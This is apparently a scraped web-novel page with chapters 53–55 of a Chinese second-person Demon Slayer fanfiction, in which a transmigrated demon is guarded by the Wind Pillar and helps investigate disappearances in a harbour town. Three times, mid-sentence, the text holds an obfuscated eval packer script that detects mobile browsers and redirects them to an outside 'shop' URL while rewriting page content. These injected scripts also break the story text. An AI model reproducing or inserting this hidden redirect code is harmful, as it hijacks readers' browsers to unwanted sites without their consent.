这个人为什么出现在这里,年纪轻轻坐到这个地位,他刻骨的仇恨从何来,稍微想想就能明白了。因此,你没有愤怒,只觉得无比悲伤。 “大人您这样的强者,仇恨、挫折、辛苦、压力……不管什么,都会让您更加强大。您砍出这一刀,技艺就精进一分,下次斩鬼就会更加从容不迫。但我不是这样。” 说到这里,你感到眼眶湿了,还好不多,眨眨眼就没有了。 “如果我一心复仇,就会冲昏头脑,怒火一盛,手都在抖,恐惧害怕时,更是什么也做不了。就算下定了决心,也很可能在准备阶段就因为压力垮掉,或者遭遇挫折后逃避、放弃。我就是这种弱者。” 强者越挫越勇,弱者消耗罢了。 你痛苦到说不下去,声音哽咽了。 “所以,我只能挥出一刀。这一刀就会带走我全部的勇气和力量,之后,恐怕连活下去都做不到。这唯一的一刀,必须要落在上弦之一的身上,拜托了。” 夜色下,他的表情阴晴难测。 你说服他了吗,他会觉得你巧言令色,因此勃然大怒吗?你全都看不出来。可是,你也想不出还能在说什么了。 相继见到无一郎、黑死牟的那刻,脑海里那列疾驰的车瞬间就把你带到了四百多年前的夜晚。你抽出怀里的刀决绝地刺入岩胜的胸膛,尖端没入身体的感觉传导到手上,几乎是下一秒,你就崩溃了。 有些事,不需要真的去做才能懂得。你是杀不了人的,怀揣着正义的目的也不行,出发前就已经明白了。 看到痛苦的挣扎,心里会跟着痛;目睹生命的消逝,好像自己也死了一遍。你是这种人。 但,如果事情已经到必须要上的地步,你也会上的。再做一次当年做过的事,持刀去赴死亡的约会,哪怕代价是顷刻间出窍的灵魂,下手的时刻就被随之破碎的心杀死自己。 这有什么呢,不过是再死一次。 实弥单手掐着脖子把你提起来。 “说得挺像回事,但要怎么做呢?根本做不到吧。留下你,什么用也没有啊。” 你的声音因为气闷变得断断续续:“可、可是,上一次我差点,就,做到了。” 你喘匀气儿:“那个时候,鬼杀队的人没有告诉我,杀鬼要用日轮刀。” 月光照亮他淡绿的刀锋,那东西正横在你的脖子前。上面,“恶鬼灭杀”的铭文闪闪发亮。 “我这刀是用吸收阳光的猩红砂铁和猩红矿石锻造而成的。原料取自离太阳最近的山,从中炼出富含阳光的铁,可以斩除世间所有的恶鬼。” 那时候,没有人对你这么说。 他的目光变得游移不定,似乎在思考下一句话在说什么,手上的力道没有丝毫减轻。你又开始耳鸣,全身瘫软,眼睛发黑,耳朵里嗡嗡的声响让头跟着痛起来了。 “不死川。”那个带你来的人出现在不远处,红色的念珠缠绕在合十的手掌上。 “知道了。”他不甘心地再用力晃一下,手一甩,随你摔得七荤八素。 这是没事了吗?你有点搞不懂状况,坐起来拨开糊了一脸的乱发,想要看得清楚些。只见他翻转手腕,剑光如电闪过,带给你体内雷声般的轰鸣。 这一刀是如此得快而轻盈,像树叶底的一阵轻风,你来不及反应,只觉喉管下一凉。血飞溅出来,顺着他刀尖的弧度划出一个漂亮的半圆,均匀地印在树干上。 你捂着脖子再次倒地,这才感到迟滞的疼痛咆哮着炸开,压过除它外所有的感知。你疼到大脑一片混沌,什么也看不清,惊慌地摸到手下快要被整个切开的颈部,限之又限地黏合回去。 血管和呼吸道重新通畅,未被吸收的血呛入气管,在你连声的猛烈咳嗽中喷到地上。灼热的痛苦流遍全身,那是刀身里太阳的力量在发挥作用。 “咳、咳、咳……” 你艰难地抬头,看到剩下的鬼被你的血吸引,失去理智低吼着冲过来,撞上空气中淡绿色的光,马上化为乌有。 不死川实弥收好了刀。 “我看它根本没有任何用。”他头也不回地离开,“走了,我会再抓几只鬼丢进藤袭山的。” 最终,你还是跟着这个怎么都看不惯你的人走了。 因为你必须由柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213813|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一级的队士看管。根据各自防区的远近轮流来的话,除去岩柱要负责主公的安全必须要轮空,接下来就是风柱了。 “我反对。”他冷冷道,“我看不出这么做的理由。鬼杀队的职责就是杀鬼,既然得到了情报,没有必要留着鬼了。” 你不敢有什么表示,但心里也在想“为什么不能是花柱呢”。香奈惠怎么没来,避嫌吗? 然后,那个叫产屋敷耀哉的男人动了,他看向身边头戴红色发饰的女童。后者从怀中取出一封信,展开来。 “这是前花柱蝴蝶香奈惠大人和前虫柱青木森大人联名写的信。”她用没有起伏的声调念道。 略去前面问候的部分,她直接跳到信件的关键内容:如果你在鬼杀队期间有任何攻击人类的举动,她们将切腹谢罪。 顾不上思考“前花柱”是什么意思,你已经被这个消息砸懵了。愣了一两秒,你大声道:“不,不行!如果我做出伤害他人的事,惩罚我一个就够了,不可以……” 不可以连累其他人。 你差点儿咬掉舌头。不死川暴起把你压了下去:“嚷嚷什么呐,鬼!” “不、不行,”你努力挣扎,“连坐是,不文明的,切腹太、太残暴,我……” 你慢慢没声儿了。即使变成鬼,声音也是由气流经过声带形成,肺部被压住的你巧妇难为无米之炊。 血涌上脸,你憋得整个人通红,却动不了分毫。 你数不清今天是第几次和地面亲密接触了,战国时在那个破席子上跪来跪去也没这么屈辱。屈辱感并非来自无礼的对待,而是被迫向并不认同的规则低头。 “我……咳、咳,不……” “切腹又怎样,”你上方传来不屑的声音,“想死就自己去死啊,这算什么保证!”* “不死川说的没错,”旁边的另一道声音响起,“真的吃了人就晚了,人死不能复生!”* 这里居然是有正常人在的,你说不出自己究竟是个什么心情。 “没错,”产屋敷耀哉点头,“事关人命,她们的保证不能说明问题。在这件事上真正有发言权的,其实是实弥你,对吗?” 实弥的下颌绷紧了。 “是,”他不快地说,“这只鬼对我的血没什么反应。” 稀血中的稀血都能抵抗住,还几次推开过面前流血的人类。他不得不承认,可能确实有鬼对人类的食欲比较低。 这个消息马上引起了周围人的关注,你不安地动一下,不明白为什么他们突然间都看了过来。 “但是,我认为这只是它体质特殊的原因,这是特例!”他大声补充道。 “对特例可以采取特别的措施,至少我们已经证明了她比别的鬼更加可控,危险性更低。介于在追查上弦之鬼方面的需要,我认为这点风险是值得承担的。实弥,接下来,你不仅要首先负起看管她的责任,更重要的是第一个为鬼杀队找出一条可能主动出击的新路。你愿意做成这件事吗?” 你充分体会到了什么叫领导的魅力话术。那个刚刚还一脸凶悍的男人,此刻满头桀骜不驯的头发都顺了几分。 “属下,从命。” 他站起来拖着你就走,没忘记加大手上的力度,没给你任何机会发表什么悖逆的讲话。 参会的众人也逐渐散去,桑岛慈悟郎因为腿伤落后一些。到了屋外,隐的成员背起他快步离开。 他的道场里,弟子狯岳停下了训练,望向大门边。他好奇一整天了,到底是什么样的事,能让鬼杀队的主公特意来邀请已退休多年的师傅。 53.第 53 章 青木森不紧不慢插上长烟杆,点燃手里的香烟,吐出一口白雾:“还生我气呢,因为小忍的事?” 香奈惠摇摇头:“没有。我们一向说好的,是我突然改变了主意,怎么能生您的气?我还要感谢您,愿意和我写下这封信。” 花柱引退仅半个月后,蝴蝶忍通过最终试炼,成为鬼杀队的正式成员,阶级的提升非常迅速。 “小忍很优秀,”青木森说,“她会是我最有成就的弟子,走得比我,说不定比你还要远。” 香奈惠低下头:“您少抽一点吧。” “别管了,我还活多久?爱怎么着就怎么着吧,”她叼着烟嘴笑起来,“说起来,我不亏嘛,切腹就切腹喽。不过,等你见过那个小鬼,还是记得说一声,让她给我坚持得久一点。” 香奈惠只好说:“是。” 老人抽着烟陷入回忆:“当年到培育师门下的时候,同一批人里我身形最矮、骨架最细。因为关节小,手没什么力气,砍不下鬼的头颅,所有人都说,我是没有希望的。” “所以您首创了虫之呼吸。” “是,”她微笑道,“我老早就发现,昆虫的力量不容忽视。风暴可以拔起巨树、捣毁房屋,但废墟底下仍有虫子。人们凿开深山,把路铺过去,足迹踩到每一个地方,可那里也有虫子。发现了吗?虫子是消灭不掉的。如果你觉得它脆弱、无能、不堪一击,可以随意伤害,它一定会用尖刺和毒给你留下难忘的印象。我选择成为这样的存在,并且成功做到了。” “但是,”她吞吐了几口烟雾才继续下去,“那个时候萃取技术还很粗糙,配方的变化也不够多,鬼又是可以共享情报的生物。累积到一定的数量后,我再也杀不死一只鬼了。同期的柱里,我是最早引退的,比那个断腿的家伙还早。等科技终于取得了突破,我也老了。” 她脸上每一根静止的皱纹都轻颤起来,香奈惠心有不忍,轻轻把头扭到一边。老人没有察觉,还在静悄悄地出神,直到香烟烧完,长长的一截烟灰落下来,才惊醒。 “好了,不说了,”她把烟杆丢开,“忘了你现在受不了这个了。” 她看着香奈惠强忍着咳嗽的样子,把烟头在玻璃缸里多碾了几下。 “现在不是很好吗?有人传承我的衣钵,鬼杀队也等到了一个新的机会。我亲手留下的一根刺,有机会插进上弦鬼的身体里,还是那两个老家伙都战胜不了的上弦,想想都觉得这辈子值了啊。” 她恢复乐呵呵的模样,舒舒服服地躺在椅背上:“行了,你走吧。告诉那只鬼,再弱小的存在也可以成为一只令对手最头疼的虫子,我很期待她的表现哟。” 你被带到一座传统布局的大房子里,应该就是不死川实弥的住处。隐的成员离去后,他找了根铁链子往你身上一挂,随便打开一扇门丢进去,就扛着刀匆匆走了。 你猜他急着去杀鬼,自己找了一个远离窗户的角落坐下来。 太阳升起,屋里照得亮堂堂的。你随着光线的移动蜷缩起来,一点点挪动,到了正午,已心惊胆战缩进墙角。 长长的链子拖在地上,晒得发烫,热量传导到身上,弄得你浑身不舒服。大约这条铁链的材料和日轮刀是相同的,皮肤和它贴住的地方慢慢出现了溃烂。 原本还以为这日本特色吸血鬼没有对特定金属的恐惧,真是你孤陋寡闻了。 直到下午时分,阴影重新扩张它的领地,你才能放松下来。链子搁地上,你把身体变小一点,免得它箍得太紧,这样伤口也有机会复原。 你想过要不要干脆挣脱出来,又担心下一秒他就回来,看到这一幕捆得更结实。 可他一直没回来。 第一天,你把从幼儿园起学过的古诗文和记得的课文都背了一遍。 第二天,你回忆了中学以后的所有文理科知识点。 第三天,你复习了大学期末老师划过的重点。 第四天,你满屋子找任何可能带字的东西,只翻出几张撕破的包装纸,上面散发出糯米和红豆的味道。绝望的你只能看蚂蚁搬家、云彩变化,间或思考人生。 第五天,快搜掉的你总算等来了蝴蝶香奈惠。 她和妹妹一起来,进屋被你身上的铁链惊到说不出话,立刻就打开了它。然后,在你不好意思的请求下,她拉着妹妹跑了几趟,提来一桶桶水放到太阳晒不到的走廊下,卷起袖口用水瓢浇着帮你洗头发。 你使劲地揉搓头皮,发丝拧到不滴水,用她带来的毛巾包起来,抹一把脸,再洗衣服。你几辈子都没干过这种活儿,淋过雨、沾过你、拖过地的外套泡在水盆里,吸饱水变成很沉的一坨,完全不知道如何下手。 香奈惠摇摇头,从你手里抢过衣服,水里涮涮,搓几下,捞出来一拧,脏污争先恐后地跑出来,水立即染色。蝴蝶忍倒水回来一看,脸色也跟着染了一层,她气冲冲地瞪着你,再从姐姐手里抢过活儿。 你羞愧难当,从头红到了脖子根。 经过两姐妹的辛勤刷洗,你焕然一新,披着香奈惠的和服外套等头发阴干。庭院的晾衣杆上已挂满了你的衣服,不知道的恐怕会以为这是你的房子。 “明天应该就晾干了,我来帮你收。”她陪你坐在走廊里,“毛巾、香皂、梳子、换洗的衣物都带来了,还需要什么吗?” 你想了一下:“还要牙刷、牙膏和杯子。” 最好是能把你收拾好的那个行李箱弄来,但你情商再低,也知道这太为难她了。 蝴蝶忍眉毛又挑起来,香奈惠只是意外一下,点点头:“我记住了。” 你不好意思地把目光收回来。说真的,要不是这姑娘偶尔还对姐姐笑笑,你都要怀疑她天生长着倒八字眉了。 “对了,这是那天你带的包。鬼杀队检查过没有发现什么不好的东西,我就申请原样带过来了,你看看没少什么吧。” 这真是意外之喜。你精神一振,连忙接过来:“真的?我看看,都在呢。你这些东西多少钱啊,我可以付给你了,牙膏牙刷的钱也一起出了——怎么了?” 翻包的动作停住,你不解地看着她们。 “没什么,”香奈惠移开眼神,还不忘拉拉妹妹,“就是有时候会忘掉你是鬼,突然想起来就很奇怪。” 你实在太“人”了。动作、举止、神态、语气,甚至是情感、思维模式、生活习惯,全都和普通人一模一样。这在杀鬼为一生所求的人眼里,简直是一种挑衅。 所以,实弥出格的愤怒和焦躁,她其实完全能够理解。 “说说吧,这些天和不死川相处得怎么样?” 答案是你们根本没有相处过。 当然,这可以用他忙于杀鬼来解释。人要颠倒自己的作息昼伏夜出和鬼作战,肯定是很不容易的。但整整五天抽不出空回来看一眼,更大的可能是你的优先级本就不高。 可以想象,他在被委以重任的那一刻热血上头,二话不说就应承下来。但回来的路上足够他冷静下来重新思考,还是觉得你很没用,就丢一边了。 “他这样……太过分,”香奈惠叹气似的说道,“等我说说他。” 你绞起手指。 “我们说你吧,”你小声说,“能不能换一种合作方式啊,不要,不要切腹……” 你的声音低到听不见了。 香奈惠笑:“你对自己没有信心?” “才不是!”声音拔高又低下下来,“是这样,连坐又切腹什么的,是不对的。错误的方式不能导向正确的结果,我们应该用更文明的…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216399|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 你伸手捂住脸。 “算了,当我没说。” 你只是再一次为难香奈惠而已,为难这个唯一愿意帮你的人。这真是太糟糕了。 手心变得湿润,你觉得很丢脸,努力想要不发出声音,结果自然是惨败。 香奈惠依旧宽容的看着你。她明白你的意思,也早一步懂得不可能改变什么。 鬼杀队是一个完全靠自发力量形成的民间组织,都没有政府的许可,那它的约束力从何而来呢? 要把一大帮天南海北,出身天差地别之前也没有感情基础的人们团结起来,组建成一个令行禁止的高效团体,必须要有一套人人都认可的秩序或者话术。那么,除了共同的对鬼的仇恨,传统的武士道精神,还有师徒、保证人与被介绍人之间的高度捆绑,已经是能找到的最大公约数。 想要驳斥、推翻它,除非是你能找到可替代的东西。但事实上,直到二战结束,这都是在日本被最广泛理解、接受的做法。你的反对,没有意义。 香奈惠选择这么做,前提是她相信了你,相信你在给她的心里内容都是真实,你会站在鬼杀队这边协助他们除掉上弦之一。同时,是她接受鬼杀队的做法,为了自己心中的目标,甘冒风险向这套法则妥协。 道理你都懂。也正因此,你很痛苦,且无能为力。 穿越发生后,冥冥中的天意就一直在暗自地惩罚你。你为营造理想生活做出的一切努力,在这个错位的时代,就像病毒的侵入和复制,触发了免疫系统的反击。 这两辈子遇到的很多人并不是坏人,有的甚至还很爱你,但他们因为各自的理由构成、融入、维护这个世界的秩序,攻破你苦苦支撑的孤岛。他们在某种程度上,都是你的“敌人”。 香奈惠姐妹离开后,你一个人坐在榻榻米上翻着包里的东西。有了它在,剩下的日子好熬许多。 你喜欢把常用的东西放在随身背的包包里,这个习惯帮大忙了。先找出便签本撕下两张纸,钢笔划拉两下,还好,有墨水。 先给诗织回信吧,她肯定很担心,顺便问候光子,写完可以让香奈惠帮忙寄出去。信件不长,几行足以说清楚。写完,你握着笔发呆。 你还想要写一封,给无一郎,但不知如何动笔,更找不到去信的理由。 你问过香奈惠可不可以去她那里,回答当然是不行。和童磨的一战损坏了肺部,她无法再使用呼吸法。退出了柱的行列,就没有监管你的资格。 那,霞柱呢?你费了好大的劲儿才把这个问题咽下去,变成“那其他柱呢”。 她说轮换的时间应该不是固定的,要根据柱的任务安排来,毕竟他们都很忙。 那总会轮到无一郎吧?你有了新的期待,暂时能从鳞泷左近次带来的噩耗中脱离片刻,去想一些并不那么痛苦的事。 第六天下午,风柱不死川实弥似乎才想起自己还有个道场,里面还蹲着一个任务对象,急匆匆地赶回,和帮你收衣服的蝴蝶姐妹撞个正着。 你立刻就害怕地躲回到屋子里,他们的争吵声门板都挡不住。 “竟然来干这种蠢事,你的脑子也被鬼打坏了吗?” “不许这么说我姐姐!” “不死川君,你这样做不对。她不是囚犯,主公并没有说过要这么做。” “哈?我不拴住,她,不是,它跑了怎么办?” 你跑开门边,冲进最开始的那个房间里面。链子呢?对了,香奈惠拿走了。省得你自己动手。 你留意着外面的动静,抓抓头发,决定冷静下来,静观其变。然后,门就被一脚踹开了。 “喂!”白色的脑袋探进来,上面每撮头发都张牙舞爪地表达着自己的怒气,“干什么呢呐,你!” 54.第 54 章 经过一番友好交流,不死川实弥最终没把你绑起来。虽然你觉得真实原因是,他一时半会儿再找不到第二条铁链可用了。 香奈惠唠叨他一阵,取出针筒说服你们各给她抽了一筒血做研究,往窗户上挂了一道布帘,才带着你写好的信离开了。 临别时,你两只手拉住她的胳膊,半天松不开。 “放心吧,”她安慰你,“风柱他,只是看着凶罢了。既然答应了主公和我,今后就不会做什么过分的事了。” 你还是撒不开手。 “不、不是这个原因,”你结结巴巴,“他、他穿得太有个性了!这种人我处不来,什么时候可以换啊?” 你有潮人恐惧症啊!这种深V快开到肚脐,半个胸膛露外面,发型飒爽不羁的人,要搁以前,你从五十米开外就绕路走了。他不回来还好,回来还待一间屋里,你分分钟想跳窗啊。 早就不耐烦的蝴蝶忍盯住你,从头到脚扫视一遍,用眼神缓缓打了个问号。 你不明所以,跟着她也低头检查一遍,然后僵住。 考虑到出行方便,你在来鬼杀队前换上了全套运动装。是你根据这个时代已有的款式组合改造的:衬衫、针织毛衣,领口塞一条阿斯科特领巾,裤子是西方为骑行设计的女式灯笼裤,配羊毛长袜和小皮靴,外搭男款的粗花呢猎装夹克,胸前到下摆左右一共四个口袋。 在二十世纪初穿着这一身,无异于奇装异服的时代弄潮儿。你和不死川实弥并排走,十个人里十个都会说,你才是街上最靓的崽。 香奈惠笑出来,无情地把你的手扫落,徒留你一人尴尬得想钻地。 “现在我相信你们会好好相处了,再见。” 你徘徊在走廊,连推门的勇气都没有。 他在里面干什么呢?气势汹汹地坐着,等你一进来立刻就开始盘问他想要的情报? 你被这个假设吓了一大跳,伸出去的手马上缩回来了。 太阳逼近中天,屋檐下的影子节节败退,你也被迫向门那边移动,直到整个人贴上去。 在这样下去,要晒死了吧。你眼一闭、心一横,大踏步迈进去,差点儿一头栽倒。 屋内,实弥安安静静地躺在榻榻米上。 他枕着交叠的双手,头歪在一边发出浅浅的呼吸,胸前纵横交错的伤疤随之起伏,一点也不显得凶恶了。那头乱发也不再那么嚣张,软软地四散开,凌乱地趴在脸上。香奈惠半拢的帘子在上面投下一条清晰的明暗分界线,半沐浴在刺眼光线中的人偶尔不满地哼哼几声,头埋得更深。 对啊,他不眠不休地杀了好几天鬼,这会儿应该是很累了。 你轻手轻脚地走进去,把帘子拉严实,退回到角落坐下。 屋主人不死川实弥回来了,他那只名叫榛的乌鸦也飞回来了。主人在庭院里练剑,它就落在旁边的架子上梳理羽毛。 “是鎹鸦。” 你第一次尝试和它套近乎时,高冷的鸦科大佬丢下这么一句话就飞另一边了。 你有点儿泄气。你打算贿赂它给无一郎寄信,虽然还没有想好写什么。 乌鸦吃什么呢,谷物还是虫子? 前面这个不好找,你开始到处抓虫子。 你来道场后从不见其他人,但这里被收拾得很干净。草丛下、水井边、大树底,都没什么收获。 你只能在屋里找。这回很顺利,窗框上趴着好几只天牛,垂着长长的触须,洒白点的黑色外骨骼折射出锐利的光线,看着就是鸟儿美味的一餐。 你把它们一网打尽,殷情地送到榛的面前。 “快吃呀,你不吃吗?” 乌鸦抬头看看你,头一回,你在一只鸟的眼睛里看到了无语两个字。它拍拍翅膀飞走了。 怎么回事,乌鸦不吃虫吗?你正百思不得其解,一道长长的人影笼罩过来。 “干什么呢?” 你一个机灵站直了:“没、没有!” 他怀疑地看着你:“你整天盯着鎹鸦干什么?” “没,没有啊。” 他肯定了:“你想要寄信。给谁?” “没谁啊。” 他看着你眼神躲闪、支支吾吾,直接放出雷神之锤:“是霞柱吧。” 主公说让柱们轮流看管你,你抬起头飞快地扫了他们一样,唯独到霞柱时闪开了。而且,那天你去找上弦一,也是在遇到霞柱后改变了方向。这里面一定是有原因,只是现在他还懒得去想。 “不管是谁,你最好不要有什么企图让我给知道。”他放完狠话,去看天牛们的状态。 你目瞪口呆,半天回不过神来。 “我、我能有什么企图,”你慌乱地辩解,“我,我所有有记忆的年岁加起来,快有八十多年了,我一个老太婆了。看霞柱……还有您,当然也包括其他柱,那就像是孙子,不,孩子一样啊。” 你快说完才发现这话有歧义,赶紧描补。 实弥头也不抬,让天牛爬到手上就走开了。 你愣在原地,忽然惊恐地明白过来:糟糕,那些天牛,竟然是不死川养的宠物!* 想到差点儿在这个家里引发一场伦理悲剧,你就面如死灰。这要怎么补救啊?你绞尽脑汁地想:天牛,它吃什么呢? 后半夜,鎹鸦榛盘旋在窗外,大声传达着疑似出现鬼的方位。实弥飞速起身,挎好剑,将要出门时,看到你蹲在地上,依次排开树皮、花粉、叶子,再戳戳天牛。火气噌一下冲顶。 “又干什么呢!” 你捂着快要停跳的胸口,哆哆嗦嗦转过来:“没啊……” 难道这树、这花、这草,也是他养的?他应该没这么闲吧? 实弥感到自己眉心跳了起来。 “你能干点儿一个老太婆该干的事吗?”他一字一顿地说。 你怀疑他在内涵你不务正业,并且有证据。 “我……”你理一理刘海儿,气沉丹田,“其实我一直有在考虑杀鬼的事。确实,一开始就奔着杀上弦之一去,听起来很狂妄,很没有说服力,你们不相信也是有理由的。因此,我决定退而求其次,先确立一个比较容易达成的目标。” “嗯?”他回过头。 你受到鼓舞和盘托出:“我们先把童磨干掉吧。” 砰!门在你面前合上了。 他又过上那种到处杀鬼,七八天里只有一两天偶尔回来补个觉的日子。你有好几次想重启话题,都被他冷冰冰的脸冻住了。 没有勇气迎难而上,你只好把计划先写在小本本里,一点点完善它,等有机会给香奈惠看。 如此循环了N次,有一天晚上,他像第一天那样踹门进来,道:“跟我来。” 你咬着牙刷呆滞三秒,赶紧道:“稍等,马上,马上就好。” 他的死亡注视下,你飞快吐出满嘴的泡沫,掬水猛扑在脸上,毛巾胡乱抹两把,和擦干净的杯子一起塞包里。然后,你跑步去包好梳子、发带、香皂放包包侧袋,窗台下捡起笔、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221632|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本子、零碎的纸收入夹层,再去捡东一件、西一件的衣服,期间左脚踩右脚差点儿摔个狗吃屎,不得不先蹲下来把鞋带系好…… 最后,你匆匆忙忙披上外套,背上鼓囊囊的斜挎包,把实在塞不进去的一件羽织折叠起来挂包带上,一溜烟儿冲到他面前站定:“我好了,可以出发了。” 说完,不完地看了一下手表。没耽搁太久吧? 他眉毛拧成死结,欲言又止,止言又欲,最终还是把嘴一闭,转身带路。 你铆足劲百米冲刺跟上他。 鬼的体力是无限的,但速度不是。 你跑到生无可恋,可面前白色的身影就像汽车尾气,嗖嗖两下就没影儿了。 ??? 这要怎么跟? 快要绝望之际,榛在你头顶怪叫几声,向一个方向飞去。你抖擞精神,赶紧跑起来。 实弥在路边的面摊吃完了三碗拉面,擦擦嘴,一扭头看到扶着路灯喘气的你,就差没把“鬼都你这样世间早太平了”写在脸上。 你装没看见,顾左右言他:“接下来去哪里?” 他付完钱站起来:“等着。蛇柱也在附近执行任务,杀完鬼我们就换班。” “蛇柱,是哪位?”那天人太多,你又完全沉浸在自己的情绪里,没记下什么,脸和人名大半对不上。 “就是扯你头发的那个。” “那天不是只有你扯了我手吗——哎呀!” 你揉着脑袋不知道他为什么突然停下来。 “这边走,不看路吗?” “哦。”你忍气吞声。 榛盘旋在你们上方喋喋不休地重复:“西北小镇,不明原因死亡人数上升,失踪人数持续增加。找出作恶之鬼将其斩杀,务必小心。” 你心紧了紧,快走几步跟在实弥身侧。 这儿有鬼吗? 你们身处的这座沿海的小城镇,是很典型的明治维新后发迹的地方。镇中心灯火通明、街道宽阔,沿街的屋子能看到玻璃的反光,是新式和洋折衷的建筑。 调查途中,你们打听到这儿在二三十年前还是个籍籍无名的小地方,某天某个大人物随手一指,田野里就竖起了一根根杆子,发电厂的轰鸣彻夜不停,送来电力、金钱、机会和繁华。 “那有因此失业破产的人吗?”你敏锐地提问。 紫藤花之家的老人思考一会儿,答道:“有的。原来,这里的码头很多船舶之间通信,靠工人划小艇输送信件、指令。前几年有了无线电,这些人中大部分都失业了。原来的电报员也有一批失业了,不过他们比工人强一点,有的转行当技术员也能活下去。” 你说:“那就查失踪人员和意外死亡人员的身份吧,我认为这两批人会有很大的重合。” 不是你有多聪明,而是这个剧本实在太熟悉了。经济飞速发展冲击小地方原有的社会结构,被时代抛弃的人们走投无路落入鬼的圈套,简直和四十年前一模一样。 社会转型期的阵痛。历史书上不痛不痒的一行字,是无数人真实的血泪,甚至还有他们鲜活的生命。 心情不由自主地低落下去,你已经能预想到这一悲剧会使多少人葬身鬼腹,并且其本身就是催生鬼的温床。 离开紫藤花之家,你思考着接下来的调查重点,低头默默走开。送你们出来的老人张望一下,问实弥:“风柱大人,她是新来的吗?” 他随口嗯几声,一手握住刀柄,一手把你拽到正确方向,迅速走了。 55.第 55 章 事实果然和你猜想的一样。 近期才失踪的人比较好确定身份,码头夜市里醉醺醺的工人们打着酒嗝,确认了这一点。 “你说住后街窝棚的那个家伙?对,以前我们都在这一片干。怎么,你找着他了?他还欠我一瓶酒呢,让他还钱!” 实弥熟练地应付完他,绕过酒桌寻找下一个目标。你拉紧手里的包包,赶紧追上去,胆战心惊地穿梭在一群光着膀子烂醉如泥还瞪着眼睛吆五喝六的男人之间,生怕一个错眼不见,他又消失得无影无踪了。 一个人待在这种地方,实在太超过了。作为一个网吧都未踏足过得乖乖女,此刻你有一种六亲无依独闯江湖的悲壮和隐隐的兴奋感。就像闯入了《雾都孤儿》里那个盗贼、乞丐、骗子混迹、交易的酒吧,计划着瞒过所有人救出小奥利弗。 而实弥……他自然得跟回了老家一样。不管是粗声粗气地和酒鬼打交道,转动骰子一边赌钱一边套话,遇到人纠缠时流利地接几句黑话,还是偶尔亮出拳头震慑不怀好意的纠缠,他都娴熟得像几分钟前才和他们一起卸了货来这儿喝一杯。 要不是身边拖一个哪哪儿都格格不入的你,他的潜入还能再顺利上个几倍。你叹为观止。此子综合素质强得一批,剑术只是众多优点中的一个。 转悠了一大圈,你快被酒味、烟味熏倒了,他终于起身:“可以了,走吧。” 你才松一口气,马上被二手烟呛得咳起来。 他一脸嫌弃,在前面开路。你低头小跑着跟进,眼睛都不敢乱瞟,快要到门口,才鼓起勇气拉一下他的衣角:“请等一等,我……” 你停住,跳着脚尖叫起来。 “啊啊啊啊啊!” 实弥脸一沉,一把把你推出去,抬手就掀了面前的赌桌:“你手往哪儿放呢!” 摔在地上的男人心虚地大喊:“发什么疯?又不是什么正经女人,我摸摸怎么了?兄弟觉得没面子,那好说,多少钱啊?” 还没等一桌人附和地笑起来,实弥已揪起他的衣领连带人扔到了对面墙上。消了音一样的小店里,所有人呆若木鸡看着他撞开门,拖着还在滋滋哇哇乱叫的你走远了。 “别叫了,你还记不记得你是鬼啊,有什么好叫的?” 你像是被掐住脖子立即噤声。 好一会儿过去,你小声说:“谢谢啊。” 他头也不回,继续赶路。 你清清嗓子继续说:“刚刚叫住你是想说,那些人好坏。他们作弊,在坑那个小孩儿的钱!这可太过分了,小小年纪挣点血汗钱多不容易,就被大人骗上赌桌,还下套儿。这钱说不定很重要,有急用……” “说完了吗?”他一个猛回头把你剩下的话全吓回去,“我是什么日行一善的大罗神仙吗,要跑到黑市里去主持公道?你脑子里缺根弦吗,碰到这种事就不该声张,赶紧走啊!” 你紧张一下,期期艾艾道:“可是,不是有你在吗?你是鬼杀队的欸,你是好人啊。” 身边可是武力爆棚的专业人士啊!就像在火场碰到消防员,被小偷夺包时撞见警察,那还有什么担心的呢?而且你也没声张啊,就是很小声地点了一下,看能不能帮忙而已。 “所以呢,关我什么事?鬼杀队只有一个职责,就是杀光所有的鬼,你这种鬼。给我记住了!”他怒气冲冲地看着你,眼里一条条疲惫的血丝都凸起来。 “还有!你一点记性都不长吗?我算是知道你怎么变鬼的了,愚蠢、不知所谓、毫无自知之明!你怎么不——你……” 他卡住,你捂着脸,肩膀颤动的幅度越来越大。 “行了,”他转过身,“别耽误我杀鬼,快走。” 你们接下来去的是本地最大的寺庙。 确定了失踪人士的身份,基本就能猜到他们的去处了。 江户时代以来,日本就形成了佛寺承办葬礼的传统,墓地通常就在寺庙边。横尸街头毕竟影响不好,堆积太多无主尸体不处理可能会引发公共卫生事件,因此政府有职责维持市容市貌,佛教又一直有施恩贫苦人的传统。那些踪迹全无的人若是死于鬼下,只要没被啃了个精光,一定在这里。 大半夜潜入火葬场真是一件鬼气阴森的事,就算你自己就是鬼,也安慰不了一点。 